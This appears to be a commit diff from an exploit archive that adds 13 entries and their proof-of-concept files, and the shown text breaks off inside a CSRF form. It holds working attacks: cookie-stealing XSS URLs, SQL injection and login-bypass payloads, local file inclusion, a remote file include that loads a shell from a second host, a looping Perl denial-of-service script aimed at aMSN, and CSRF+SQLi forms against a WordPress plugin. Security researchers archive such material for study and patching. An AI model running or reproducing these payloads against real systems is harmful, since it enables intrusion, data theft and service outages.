DB: 2015-07-28
13 new exploits
This commit is contained in:
parent
756da2b8cc
commit
05f61b57bd
14 changed files with 2690 additions and 0 deletions
13
files.csv
13
files.csv
|
@ -34023,3 +34023,16 @@ id,file,description,date,author,platform,type,port
|
|||
37689,platforms/asp/webapps/37689.txt,"XM Forum 'search.asp' SQL Injection Vulnerability",2012-08-30,Crim3R,asp,webapps,0
|
||||
37690,platforms/php/webapps/37690.txt,"Crowbar 'file' Parameter Multiple Cross Site Scripting Vulnerabilities",2012-08-30,"Matthias Weckbecker",php,webapps,0
|
||||
37691,platforms/php/webapps/37691.txt,"SugarCRM Community Edition Multiple Information Disclosure Vulnerabilities",2012-08-31,"Brendan Coles",php,webapps,0
|
||||
37692,platforms/multiple/dos/37692.pl,"aMSN Remote Denial of Service Vulnerability",2006-01-01,"Braulio Miguel Suarez Urquijo",multiple,dos,0
|
||||
37693,platforms/php/webapps/37693.txt,"Sitemax Maestro SQL Injection and Local File Include Vulnerabilities",2012-09-03,AkaStep,php,webapps,0
|
||||
37694,platforms/php/webapps/37694.txt,"Wiki Web Help 'configpath' Parameter Remote File Include Vulnerability",2012-08-04,L0n3ly-H34rT,php,webapps,0
|
||||
37695,platforms/php/webapps/37695.txt,"Sciretech Multiple Products Multiple SQL Injection Vulnerabilities",2012-09-04,AkaStep,php,webapps,0
|
||||
37696,platforms/asp/webapps/37696.txt,"Cm3 CMS 'search.asp' Multiple Cross-Site Scripting Vulnerabilities",2012-09-05,Crim3R,asp,webapps,0
|
||||
37697,platforms/php/webapps/37697.txt,"phpFox 3.0.1 'ajax.php' Multiple Cross Site Scripting Vulnerabilities",2012-09-04,Crim3R,php,webapps,0
|
||||
37698,platforms/php/webapps/37698.txt,"Kayako Fusion 'download.php' Cross Site Scripting Vulnerability",2012-09-05,"High-Tech Bridge",php,webapps,0
|
||||
37699,platforms/windows/local/37699.py,"Foxit Reader - PNG Conversion Parsing tEXt Chunk Arbitrary Code Execution",2015-07-27,"Sascha Schirra",windows,local,0
|
||||
37700,platforms/multiple/webapps/37700.txt,"Hawkeye-G v3.0.1.4912 Persistent XSS & Information Leakage",2015-07-27,"John Page",multiple,webapps,0
|
||||
37706,platforms/linux/dos/37706.txt,"Libuser Library - Multiple Vulnerabilities",2015-07-27,"Qualys Corporation",linux,dos,0
|
||||
37705,platforms/php/webapps/37705.txt,"WordPress Unite Gallery Lite Plugin 1.4.6 - Multiple Vulnerabilities",2015-07-27,"Nitin Venkatesh",php,webapps,80
|
||||
37707,platforms/php/webapps/37707.txt,"WordPress Count Per Day Plugin 3.4 - SQL Injection",2015-07-27,"High-Tech Bridge SA",php,webapps,80
|
||||
37708,platforms/php/webapps/37708.txt,"Xceedium Xsuite - Multiple Vulnerabilities",2015-07-27,modzero,php,webapps,0
|
||||
|
|
Can't render this file because it is too large.
|
13
platforms/asp/webapps/37696.txt
Executable file
13
platforms/asp/webapps/37696.txt
Executable file
|
@ -0,0 +1,13 @@
|
|||
source: http://www.securityfocus.com/bid/55395/info
|
||||
|
||||
Cm3 CMS is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
|
||||
|
||||
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
|
||||
|
||||
http://www.example.com/forums/search.asp?strSearchPhrase="><script>alert(0);</script>&ContainerID=&forumsearchoption=topics
|
||||
|
||||
http://www.example.com/search.asp?keywords="><script>alert(0);</script>&SearchType=And&CurrentPage=1
|
||||
|
||||
http://www.example.com/search.asp?CurrentPage=1&sitekeywords"><script>alert(0);</script>&SearchType=Default
|
||||
|
||||
http://www.example.com/search.asp?SearchType=Keywords&Keywords="><script>alert(0);</script>&x=0&y=0
|
1315
platforms/linux/dos/37706.txt
Executable file
1315
platforms/linux/dos/37706.txt
Executable file
File diff suppressed because it is too large
Load diff
60
platforms/multiple/dos/37692.pl
Executable file
60
platforms/multiple/dos/37692.pl
Executable file
|
@ -0,0 +1,60 @@
|
|||
source: http://www.securityfocus.com/bid/55381/info
|
||||
|
||||
aMSN is prone to a remote denial-of-service vulnerability.
|
||||
|
||||
A successful exploit of this issue allows remote attackers to crash the affected application, denying service to legitimate users.
|
||||
|
||||
#!/usr/bin/perl
|
||||
use IO::Socket;
|
||||
|
||||
$x = 0;
|
||||
print q(
|
||||
**************************************
|
||||
* AMSN REMOTE DOS XPL *
|
||||
* BY *
|
||||
* Red-Point *
|
||||
* red-point@odiameporserelite.org *
|
||||
**************************************
|
||||
);
|
||||
|
||||
print q(Victim IP: );
|
||||
$hos = <STDIN>;
|
||||
chop ($hos);
|
||||
|
||||
print q( );
|
||||
$type = seC0de;
|
||||
chop ($type);
|
||||
|
||||
if($type == seC0de){
|
||||
while($x != 9999999){
|
||||
|
||||
$postit = "";
|
||||
$lrg = length $postit;
|
||||
my $sock = new IO::Socket::INET (
|
||||
PeerAddr => "$hos",
|
||||
PeerPort => "6891",
|
||||
Proto => "tcp",
|
||||
);
|
||||
|
||||
die "\nEl host esta fuera de servicio o no estas conectado a internet $!\n" unless $sock;
|
||||
|
||||
print $sock "\x89\x50\x4E\x47\x0D\x0A\x1A\x0A\x00\x00\x00\x0D\x49\x48\x44\x52\x89\x50\x4E\x47\x0D".
|
||||
"\x0A\x1A\x0A\x00\x00\x00\x0D\x49\x48\x44\x52\x89\x50\x4E\x47\x0D\x0A\x1A\x0A\x00\x00".
|
||||
"\x00\x0D\x49\x48\x44\x52\x89\x50\x4E\x47\x0D\x0A\x1A\x0A\x00\x00\x00\x0D\x49\x48\x44".
|
||||
"\x52\x89\x50\x4E\x47\x0D\x0A\x1A\x0A\x00\x00\x00\x0D\x49\x48\x44\x52\x89\x50\x4E\x47".
|
||||
"\x0D\x0A\x1A\x0A\x00\x00\x00\x0D\x49\x48\x44\x52\x89\x50\x4E\x47\x0D\x0A\x1A\x0A\x00".
|
||||
"\x00\x00\x0D\x49\x48\x44\x52\x89\x50\x4E\x47\x0D\x0A\x1A\x0A\x00\x00\x00\x0D\x49\x48".
|
||||
"\x44\x52\x89\x50\x4E\x47\x0D\x0A\x1A\x0A\x00\x00\x00\x0D\x49\x48\x44\x52\x89\x50\x4E".
|
||||
"\x47\x0D\x0A\x1A\x0A\x00\x00\x00\x0D\x49\x48\x44\x52\x89\x50\x4E\x47\x0D\x0A\x1A\x0A".
|
||||
"\x00\x00\x00\x0D\x49\x48\x44\x52\x89\x50\x4E\x47\x0D\x0A\x1A\x0A\x00\x00\x00\x0D\x49".
|
||||
"\x4E\x47\x0D\x0A\x1A\x0A\x00\x00\x00\x0D\x49\x48\x44\x52\x89\x50\x4E\x47\x0D\x0A\x1A".
|
||||
"\x0A\x00\x00\x00\x0D\x49\x48\x44\x52\x89\x50\x4E\x47\x0D\x0A\x1A\x0A\x00\x00\x00\x0D".
|
||||
"\x49\x48\x44\x52";
|
||||
close($sock);
|
||||
syswrite STDOUT, "|";
|
||||
$x++;
|
||||
}
|
||||
}
|
||||
else{
|
||||
die " \n";
|
||||
}
|
149
platforms/multiple/webapps/37700.txt
Executable file
149
platforms/multiple/webapps/37700.txt
Executable file
|
@ -0,0 +1,149 @@
|
|||
# Exploit Title: Persistent XSS, Information Leakage IDS / IPS
|
||||
# Google Dork: intitle: Persistent XSS, Information Leakage IDS / IPS
|
||||
# Date: 2015-07-25
|
||||
# Exploit Author: John Page ( hyp3rlinx )
|
||||
# Website: hyp3rlinx.altervista.org
|
||||
# Vendor Homepage: www.hexiscyber.com
|
||||
# Software Link: www.hexiscyber.com/products/hawkeye-g
|
||||
# Version: v3.0.1.4912
|
||||
# Tested on: windows 7 SP1
|
||||
# Category: Network Threat Appliance IDS / IPS
|
||||
|
||||
|
||||
|
||||
Vendor:
|
||||
================================
|
||||
www.hexiscyber.com
|
||||
|
||||
|
||||
|
||||
Product:
|
||||
================================
|
||||
Hawkeye-G v3.0.1.4912
|
||||
|
||||
Hawkeye G is an active defense disruptive technology that
|
||||
detects, investigates, remediates and removes cyber threats
|
||||
within the network.
|
||||
|
||||
|
||||
|
||||
Vulnerability Type:
|
||||
=============================================
|
||||
Persistent XSS & Server Information Leakage
|
||||
|
||||
|
||||
CVE Reference:
|
||||
==============
|
||||
N/A
|
||||
|
||||
|
||||
|
||||
Advisory Information:
|
||||
=====================================================================
|
||||
|
||||
Persistent XSS:
|
||||
---------------
|
||||
|
||||
Hexis cyber Hawkeye-G network threat appliance is vulnerable to
|
||||
persistent XSS injection when adding device accounts to the system.
|
||||
The appliance contains an endpoint sensor that collects client
|
||||
information to report back to the Hawkeye-G web interface.
|
||||
|
||||
When adding device accounts to the system XSS payloads supplied to the
|
||||
vulnerable id parameter 'name' will be stored in database and executed each
|
||||
time certain threat appliance webpages are visited.
|
||||
|
||||
|
||||
Server Information Disclosure:
|
||||
-----------------------------
|
||||
|
||||
We can force internal server 500 errors that leak back end information's.
|
||||
Stack traces are echoed out to the end user instead of being suppressed
|
||||
this can give attackers valuable information into the system internals
|
||||
possibly helping attackers in crafting more specific types of attacks.
|
||||
|
||||
|
||||
|
||||
Exploit code(s):
|
||||
===============
|
||||
|
||||
Persistent XSS:
|
||||
---------------
|
||||
|
||||
<form id="exploit" action="
|
||||
https://localhost:8443/interface/rest/accounts/json" method="post">
|
||||
<input type="text" name="human" value="true" />
|
||||
<input type="text" name="name" value="<script>alert(666)</script>" />
|
||||
<input type="text" name="domainId" value=""/>
|
||||
<input type="text" name="domain_id" value="" />
|
||||
<input type="text" name="roving" value="false" />
|
||||
</form>
|
||||
|
||||
Accessing URL will execute malicious XSS stored in Hawkeye-G backend
|
||||
database.
|
||||
https://localhost:8443/interface/app/#/account-management
|
||||
|
||||
vulnerable parameter:
|
||||
'name'
|
||||
|
||||
<input placeholder="Name" ng-model="record.name" id="name"
|
||||
class="formeditbox ng-pristine ng-invalid ng-invalid-required ng-touched"
|
||||
name="name" required="" ng-disabled="record.guid">
|
||||
|
||||
|
||||
Server Information Leakage:
|
||||
---------------------------
|
||||
|
||||
These examples will result in 500 internal server error info disclosures:
|
||||
|
||||
1-
|
||||
https://localhost:8443/interface/rest/threatfeeds/pagedJson?namePattern=&page=0&size=25&sortCol=address&sortDir=%22/%3E%3Cscript%3Ealert%280%29%3C/script%3E
|
||||
|
||||
2-
|
||||
https://localhost:8443/interface/rest/mitigationWhitelist/paged?namePattern=WEB-INF/web.xml&page=0&size=0&source-filter=
|
||||
|
||||
|
||||
|
||||
Disclosure Timeline:
|
||||
=========================================================
|
||||
|
||||
|
||||
Vendor Notification: June 30, 2015
|
||||
July 25, 2015 : Public Disclosure
|
||||
|
||||
|
||||
|
||||
Severity Level:
|
||||
=========================================================
|
||||
High
|
||||
|
||||
|
||||
|
||||
Description:
|
||||
==========================================================
|
||||
|
||||
|
||||
Request Method(s): [+] POST & GET
|
||||
|
||||
|
||||
Vulnerable Product: [+] Hawkeye-G v3.0.1.4912
|
||||
|
||||
|
||||
Vulnerable Parameter(s): [+] name, namePattern, sortDir
|
||||
|
||||
|
||||
Affected Area(s): [+] Network Threat Appliance
|
||||
|
||||
|
||||
===========================================================
|
||||
|
||||
[+] Disclaimer
|
||||
Permission is hereby granted for the redistribution of this advisory,
|
||||
provided that it is not altered except by reformatting it, and that due
|
||||
credit is given. Permission is explicitly given for insertion in
|
||||
vulnerability databases and similar, provided that due credit is given to
|
||||
the author. The author is not responsible for any misuse of the information
|
||||
contained herein and prohibits any malicious use of all security related
|
||||
information or exploits by the author or elsewhere.
|
||||
|
||||
by hyp3rlinx
|
11
platforms/php/webapps/37693.txt
Executable file
11
platforms/php/webapps/37693.txt
Executable file
|
@ -0,0 +1,11 @@
|
|||
source: http://www.securityfocus.com/bid/55386/info
|
||||
|
||||
Sitemax Maestro is prone to SQL-injection and local file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
|
||||
|
||||
An attacker can exploit these vulnerabilities to compromise the application, access or modify data, exploit latent vulnerabilities in the underlying database, use directory-traversal strings to execute local script code in the context of the application, or obtain sensitive information that may aid in further attacks.
|
||||
|
||||
Sitemax Maestro 2.0 is vulnerable; other versions may also be affected.
|
||||
|
||||
http://www.example.com/pages.php?al=100000000000000000000000000' or (select floor(rand(0)*2) from(select count(*),concat((select concat(user_name,0x7c,user_password) from sed_users limit 1),floor(rand(0)*2))x from information_schema.tables group by x)a)-- AND 1='1
|
||||
|
||||
http://www.example.com/swlang.php?lang=../../datas/users/file.gif%00&redirect=
|
9
platforms/php/webapps/37694.txt
Executable file
9
platforms/php/webapps/37694.txt
Executable file
|
@ -0,0 +1,9 @@
|
|||
source: http://www.securityfocus.com/bid/55387/info
|
||||
|
||||
Wiki Web Help is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied input.
|
||||
|
||||
Exploiting this issue could allow an attacker to compromise the application and the underlying system; other attacks are also possible.
|
||||
|
||||
Wiki Web Help 0.3.11 is vulnerable; other versions may also be affected.
|
||||
|
||||
http://www.example.com/wwh/pages/links.php?configpath=http://www.example2.com/shell.txt?
|
13
platforms/php/webapps/37695.txt
Executable file
13
platforms/php/webapps/37695.txt
Executable file
|
@ -0,0 +1,13 @@
|
|||
source: http://www.securityfocus.com/bid/55390/info
|
||||
|
||||
Sciretech Multimedia Manager and Sciretech File Manager are prone to multiple SQL-injection vulnerabilities because they fail to sufficiently sanitize user-supplied data before using it in an SQL query.
|
||||
|
||||
Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
|
||||
|
||||
Sciretech Multimedia Manager 3.0.0 and Sciretech File Manager 3.0.0 are vulnerable; other versions may also be affected.
|
||||
|
||||
Post Data:
|
||||
dbuser_user_email=admin%40domain.com%27+and+99%3D99--+and+0%3D%270&dbuser_user_password=WILL_BYPASS_IT_LIKE_2X2&login=Login
|
||||
|
||||
Example URL:
|
||||
http://www.example.com/index.php?module=user&content=execute&execute=user_account_activation&user_email=pipi@pipi.com%27%20or%20sleep%2810%29--%20and%205=%275&activation_key=TS0nz4hLVgZ83mrvgtPS
|
13
platforms/php/webapps/37697.txt
Executable file
13
platforms/php/webapps/37697.txt
Executable file
|
@ -0,0 +1,13 @@
|
|||
source: http://www.securityfocus.com/bid/55405/info
|
||||
|
||||
phpFox is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
|
||||
|
||||
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.
|
||||
|
||||
phpFox 3.3.0 is vulnerable; other versions may also be affected.
|
||||
|
||||
http://www.example.com//static/ajax.php?core[ajax]=true&core[call]=core.message&core[security_token]=860eb6a699d5d9f375b5e8cf0021c094&height=150&message="><script>alert(document.cookie);</script>&width=300
|
||||
|
||||
http://www.example.com//static/ajax.php?comment_type_id=feed&core[ajax]=true&core[call]=comment.viewMoreFeed&core[is_admincp]=0&core[is_user_profile]=1&core[profile_user_id]=25&core[security_token]=1fa4d24158b81e721c5974d7f175b2ac&feed_id="><script>alert(document.cookie);</script>&item_id=518&_=1346525603467
|
||||
|
||||
http://www.example.com//static/ajax.php?comment_type_id=feed&core[ajax]=true&core[call]=comment.viewMoreFeed&core[is_admincp]=0&core[is_user_profile]=1&core[profile_user_id]=25&core[security_token]=1fa4d24158b81e721c5974d7f175b2ac&feed_id=id&item_id=518"><script>alert(document.cookie);</script>&_=1346525603467
|
9
platforms/php/webapps/37698.txt
Executable file
9
platforms/php/webapps/37698.txt
Executable file
|
@ -0,0 +1,9 @@
|
|||
source: http://www.securityfocus.com/bid/55417/info
|
||||
|
||||
Kayako Fusion is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.
|
||||
|
||||
An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
|
||||
|
||||
Kayako Fusion 4.40.1148 is vulnerable; other versions may also be affected.
|
||||
|
||||
http://www.example.com/__swift/thirdparty/PHPExcel/PHPExcel/Shared/JAMA/docs/download.php/%27%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
|
335
platforms/php/webapps/37705.txt
Executable file
335
platforms/php/webapps/37705.txt
Executable file
|
@ -0,0 +1,335 @@
|
|||
# Title: Cross-Site Request Forgery & SQL Injection Vulnerabilities in Unite Gallery Lite Wordpress Plugin v1.4.6
|
||||
# Submitter: Nitin Venkatesh
|
||||
# Product: Unite Gallery Lite Wordpress Plugin
|
||||
# Product URL: https://wordpress.org/plugins/unite-gallery-lite/
|
||||
# Vulnerability Type: Cross-site Request Forgery [CWE-352], Improper
|
||||
Neutralization of Special Elements used in an SQL Command ('SQL
|
||||
Injection')[CWE-89]
|
||||
# Affected Versions: v1.4.6 and possibly below.
|
||||
# Tested versions: v1.4.6
|
||||
# Fixed Version: v1.5
|
||||
# Link to code diff: https://plugins.trac.wordpress.org/changeset/1178586/unite-gallery-lite
|
||||
# Changelog: https://wordpress.org/plugins/unite-gallery-lite/changelog/
|
||||
# CVE Status: New & Unassigned
|
||||
|
||||
## Product Information:
|
||||
|
||||
The Unite Gallery is all in one image and video gallery for WordPress.
|
||||
|
||||
## Vulnerability Description:
|
||||
|
||||
The admin forms of the Unite Gallery Lite Wordpress Plugin are susceptible
|
||||
to CSRF. Additionally, the following parameters were found to be
|
||||
susceptible to SQLi -
|
||||
|
||||
Form submitted to /wp-admin/admin-ajax.php:
|
||||
- data[galleryID]
|
||||
|
||||
Form submitted to /wp-admin/admin.php:
|
||||
- galleryid
|
||||
- id
|
||||
|
||||
## Proof of Concept:
|
||||
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<title>CSRF + SQLi in Unite Gallery Lite Wordpress Plugin v1.4.6</title>
|
||||
</head>
|
||||
<body>
|
||||
<h1>CSRF + SQLi in Unite Gallery Lite Wordpress Plugin v1.4.6</h1>
|
||||
<p>CSRF - Create Gallery</p>
|
||||
<form action="http://localhost/wp-admin//admin-ajax.php" method="post">
|
||||
<input type="hidden" name="action" value='unitegallery_ajax_action' />
|
||||
<input type="hidden" name="client_action" value='create_gallery' />
|
||||
<input type="hidden" name="gallery_type" value='ug-carousel' />
|
||||
<input type="hidden" name="data[main][title]" value='test 2' />
|
||||
<input type="hidden" name="data[main][alias]" value='test2' />
|
||||
<input type="hidden" name="data[main][category]" value='new' />
|
||||
<input type="hidden" name="data[main][full_width]" value='true' />
|
||||
<input type="hidden" name="data[main][gallery_width]" value='1000' />
|
||||
<input type="submit" value="submit" />
|
||||
</form>
|
||||
|
||||
<p>CSRF + SQLi - Update Gallery</p>
|
||||
<form action="http://localhost/wp-admin//admin-ajax.php" method="post">
|
||||
<input type="hidden" name="action" value='unitegallery_ajax_action' />
|
||||
<input type="hidden" name="client_action" value='update_gallery' />
|
||||
<input type="hidden" name="gallery_type" value='ug-carousel' />
|
||||
<input type="hidden" name="data[main][title]" value='test 2' />
|
||||
<input type="hidden" name="data[main][alias]" value='test2' />
|
||||
<input type="hidden" name="data[main][shortcode]" value='[unitegallery
|
||||
test2]' />
|
||||
<input type="hidden" name="data[main][category]" value='3' />
|
||||
<input type="hidden" name="data[main][full_width]" value='true' />
|
||||
<input type="hidden" name="data[main][gallery_width]" value='1000' />
|
||||
<input type="hidden" name="data[main][gallery_min_width]" value='150' />
|
||||
<input type="hidden" name="data[params][tile_width]" value='160' />
|
||||
<input type="hidden" name="data[params][tile_height]" value='160' />
|
||||
<input type="hidden" name="data[params][theme_gallery_padding]" value='0' />
|
||||
<input type="hidden" name="data[params][theme_carousel_align]"
|
||||
value='center' />
|
||||
<input type="hidden" name="data[params][theme_carousel_offset]" value='0' />
|
||||
<input type="hidden" name="data[params][gallery_shuffle]" value='false' />
|
||||
<input type="hidden" name="data[params][tile_image_resolution]"
|
||||
value='medium' />
|
||||
<input type="hidden" name="data[params][carousel_padding]" value='8' />
|
||||
<input type="hidden" name="data[params][carousel_space_between_tiles]"
|
||||
value='20' />
|
||||
<input type="hidden" name="data[params][carousel_scroll_duration]"
|
||||
value='500' />
|
||||
<input type="hidden" name="data[params][carousel_scroll_easing]"
|
||||
value='easeOutCubic' />
|
||||
<input type="hidden" name="data[params][carousel_autoplay]" value='true' />
|
||||
<input type="hidden" name="data[params][carousel_autoplay_timeout]"
|
||||
value='3000' />
|
||||
<input type="hidden" name="data[params][carousel_autoplay_direction]"
|
||||
value='right' />
|
||||
<input type="hidden" name="data[params][carousel_autoplay_pause_onhover]"
|
||||
value='true' />
|
||||
<input type="hidden" name="data[params][theme_enable_navigation]"
|
||||
value='true' />
|
||||
<input type="hidden" name="data[params][theme_navigation_enable_play]"
|
||||
value='true' />
|
||||
<input type="hidden" name="data[params][theme_navigation_align]"
|
||||
value='center' />
|
||||
<input type="hidden" name="data[params][theme_navigation_offset_hor]"
|
||||
value='0' />
|
||||
<input type="hidden" name="data[params][theme_navigation_position]"
|
||||
value='bottom' />
|
||||
<input type="hidden" name="data[params][theme_navigation_margin]"
|
||||
value='20' />
|
||||
<input type="hidden" name="data[params][theme_space_between_arrows]"
|
||||
value='5' />
|
||||
<input type="hidden" name="data[params][carousel_navigation_numtiles]"
|
||||
value='3' />
|
||||
<input type="hidden" name="data[params][position]" value='center' />
|
||||
<input type="hidden" name="data[params][margin_top]" value='0' />
|
||||
<input type="hidden" name="data[params][margin_bottom]" value='0' />
|
||||
<input type="hidden" name="data[params][margin_left]" value='0' />
|
||||
<input type="hidden" name="data[params][margin_right]" value='0' />
|
||||
<input type="hidden" name="data[params][tile_enable_action]" value='true' />
|
||||
<input type="hidden" name="data[params][tile_as_link]" value='false' />
|
||||
<input type="hidden" name="data[params][tile_link_newpage]" value='true' />
|
||||
<input type="hidden" name="data[params][tile_enable_border]" value='true' />
|
||||
<input type="hidden" name="data[params][tile_border_width]" value='3' />
|
||||
<input type="hidden" name="data[params][tile_border_color]" value='#f0f0f0'
|
||||
/>
|
||||
<input type="hidden" name="data[params][tile_border_radius]" value='0' />
|
||||
<input type="hidden" name="data[params][tile_enable_outline]" value='true'
|
||||
/>
|
||||
<input type="hidden" name="data[params][tile_outline_color]"
|
||||
value='#8b8b8b' />
|
||||
<input type="hidden" name="data[params][tile_enable_shadow]" value='false'
|
||||
/>
|
||||
<input type="hidden" name="data[params][tile_shadow_h]" value='1' />
|
||||
<input type="hidden" name="data[params][tile_shadow_v]" value='1' />
|
||||
<input type="hidden" name="data[params][tile_shadow_blur]" value='3' />
|
||||
<input type="hidden" name="data[params][tile_shadow_spread]" value='2' />
|
||||
<input type="hidden" name="data[params][tile_shadow_color]" value='#8b8b8b'
|
||||
/>
|
||||
<input type="hidden" name="data[params][tile_enable_image_effect]"
|
||||
value='false' />
|
||||
<input type="hidden" name="data[params][tile_image_effect_type]" value='bw'
|
||||
/>
|
||||
<input type="hidden" name="data[params][tile_image_effect_reverse]"
|
||||
value='false' />
|
||||
<input type="hidden" name="data[params][tile_enable_overlay]" value='true'
|
||||
/>
|
||||
<input type="hidden" name="data[params][tile_overlay_opacity]" value='0.4'
|
||||
/>
|
||||
<input type="hidden" name="data[params][tile_overlay_color]"
|
||||
value='#000000' />
|
||||
<input type="hidden" name="data[params][tile_enable_icons]" value='true' />
|
||||
<input type="hidden" name="data[params][tile_show_link_icon]" value='false'
|
||||
/>
|
||||
<input type="hidden" name="data[params][tile_space_between_icons]"
|
||||
value='26' />
|
||||
<input type="hidden" name="data[params][tile_enable_textpanel]"
|
||||
value='false' />
|
||||
<input type="hidden" name="data[params][tile_textpanel_source]"
|
||||
value='title' />
|
||||
<input type="hidden" name="data[params][tile_textpanel_always_on]"
|
||||
value='false' />
|
||||
<input type="hidden" name="data[params][tile_textpanel_appear_type]"
|
||||
value='slide' />
|
||||
<input type="hidden" name="data[params][tile_textpanel_padding_top]"
|
||||
value='8' />
|
||||
<input type="hidden" name="data[params][tile_textpanel_padding_bottom]"
|
||||
value='8' />
|
||||
<input type="hidden" name="data[params][tile_textpanel_padding_left]"
|
||||
value='11' />
|
||||
<input type="hidden" name="data[params][tile_textpanel_padding_right]"
|
||||
value='11' />
|
||||
<input type="hidden" name="data[params][tile_textpanel_bg_color]"
|
||||
value='#000000' />
|
||||
<input type="hidden" name="data[params][tile_textpanel_bg_opacity]"
|
||||
value='0.6' />
|
||||
<input type="hidden" name="data[params][tile_textpanel_title_color]"
|
||||
value='#ffffff' />
|
||||
<input type="hidden" name="data[params][tile_textpanel_title_text_align]"
|
||||
value='left' />
|
||||
<input type="hidden" name="data[params][tile_textpanel_title_font_size]"
|
||||
value='14' />
|
||||
<input type="hidden" name="data[params][tile_textpanel_title_bold]"
|
||||
value='true' />
|
||||
<input type="hidden" name="data[params][lightbox_type]" value='wide' />
|
||||
<input type="hidden" name="data[params][lightbox_hide_arrows_onvideoplay]"
|
||||
value='true' />
|
||||
<input type="hidden" name="data[params][lightbox_slider_control_zoom]"
|
||||
value='true' />
|
||||
<input type="hidden" name="data[params][gallery_mousewheel_role]"
|
||||
value='zoom' />
|
||||
<input type="hidden" name="data[params][lightbox_overlay_opacity]"
|
||||
value='1' />
|
||||
<input type="hidden" name="data[params][lightbox_overlay_color]"
|
||||
value='#000000' />
|
||||
<input type="hidden" name="data[params][lightbox_top_panel_opacity]"
|
||||
value='0.4' />
|
||||
<input type="hidden" name="data[params][lightbox_show_numbers]"
|
||||
value='true' />
|
||||
<input type="hidden" name="data[params][lightbox_numbers_size]" value='14'
|
||||
/>
|
||||
<input type="hidden" name="data[params][lightbox_numbers_color]"
|
||||
value='#e5e5e5' />
|
||||
<input type="hidden" name="data[params][lightbox_show_textpanel]"
|
||||
value='true' />
|
||||
<input type="hidden" name="data[params][lightbox_textpanel_width]"
|
||||
value='550' />
|
||||
<input type="hidden" name="data[params][lightbox_textpanel_source]"
|
||||
value='title' />
|
||||
<input type="hidden" name="data[params][lightbox_textpanel_title_color]"
|
||||
value='#e5e5e5' />
|
||||
<input type="hidden"
|
||||
name="data[params][lightbox_textpanel_title_text_align]" value='left' />
|
||||
<input type="hidden"
|
||||
name="data[params][lightbox_textpanel_title_font_size]" value='14' />
|
||||
<input type="hidden" name="data[params][lightbox_textpanel_title_bold]"
|
||||
value='false' />
|
||||
<input type="hidden" name="data[params][lightbox_compact_overlay_opacity]"
|
||||
value='0.6' />
|
||||
<input type="hidden" name="data[params][lightbox_compact_overlay_color]"
|
||||
value='#000000' />
|
||||
<input type="hidden" name="data[params][lightbox_arrows_position]"
|
||||
value='sides' />
|
||||
<input type="hidden" name="data[params][lightbox_arrows_inside_alwayson]"
|
||||
value='false' />
|
||||
<input type="hidden" name="data[params][lightbox_compact_show_numbers]"
|
||||
value='true' />
|
||||
<input type="hidden" name="data[params][lightbox_compact_numbers_size]"
|
||||
value='14' />
|
||||
<input type="hidden" name="data[params][lightbox_compact_numbers_color]"
|
||||
value='#e5e5e5' />
|
||||
<input type="hidden"
|
||||
name="data[params][lightbox_compact_numbers_padding_top]" value='7' />
|
||||
<input type="hidden"
|
||||
name="data[params][lightbox_compact_numbers_padding_right]" value='5' />
|
||||
<input type="hidden" name="data[params][lightbox_compact_show_textpanel]"
|
||||
value='true' />
|
||||
<input type="hidden" name="data[params][lightbox_compact_textpanel_source]"
|
||||
value='title' />
|
||||
<input type="hidden"
|
||||
name="data[params][lightbox_compact_textpanel_title_color]" value='#e5e5e5'
|
||||
/>
|
||||
<input type="hidden"
|
||||
name="data[params][lightbox_compact_textpanel_title_font_size]" value='14'
|
||||
/>
|
||||
<input type="hidden"
|
||||
name="data[params][lightbox_compact_textpanel_title_bold]" value='false' />
|
||||
<input type="hidden"
|
||||
name="data[params][lightbox_compact_textpanel_padding_top]" value='5' />
|
||||
<input type="hidden"
|
||||
name="data[params][lightbox_compact_textpanel_padding_left]" value='10' />
|
||||
<input type="hidden"
|
||||
name="data[params][lightbox_compact_textpanel_padding_right]" value='10' />
|
||||
<input type="hidden"
|
||||
name="data[params][lightbox_compact_slider_image_border]" value='true' />
|
||||
<input type="hidden"
|
||||
name="data[params][lightbox_compact_slider_image_border_width]" value='10'
|
||||
/>
|
||||
<input type="hidden"
|
||||
name="data[params][lightbox_compact_slider_image_border_color]"
|
||||
value='#ffffff' />
|
||||
<input type="hidden"
|
||||
name="data[params][lightbox_compact_slider_image_border_radius]" value='0'
|
||||
/>
|
||||
<input type="hidden"
|
||||
name="data[params][lightbox_compact_slider_image_shadow]" value='true' />
|
||||
<input type="hidden" name="data[params][include_jquery]" value='true' />
|
||||
<input type="hidden" name="data[params][js_to_body]" value='false' />
|
||||
<input type="hidden" name="data[params][compress_output]" value='false' />
|
||||
<input type="hidden" name="data[params][gallery_debug_errors]"
|
||||
value='false' />
|
||||
|
||||
<!-- SQLi -->
|
||||
<input type="hidden" name="data[galleryID]" value='1 AND (SELECT * FROM
|
||||
(SELECT(SLEEP(5)))rock)' />
|
||||
<input type="submit" value="submit" />
|
||||
</form>
|
||||
|
||||
<p>CSRF - Add Items</p>
|
||||
<form action="http://localhost/wp-admin/admin-ajax.php" method="post">
|
||||
<input type="hidden" name="action" value='unitegallery_ajax_action' />
|
||||
<input type="hidden" name="client_action" value='add_item' />
|
||||
<input type="hidden" name="gallery_type" value='' />
|
||||
<input type="hidden" name="data[type]" value='html5video' />
|
||||
<input type="hidden" name="data[title]" value='test' />
|
||||
<input type="hidden" name="data[description]" value='' />
|
||||
<input type="hidden" name="data[urlImage]" value='' />
|
||||
<input type="hidden" name="data[urlThumb]" value='' />
|
||||
<input type="hidden" name="data[urlVideo_mp4]" value='
|
||||
http://video-js.zencoder.com/oceans-clip.mp4' />
|
||||
<input type="hidden" name="data[urlVideo_webm]" value='
|
||||
http://video-js.zencoder.com/oceans-clip.webm' />
|
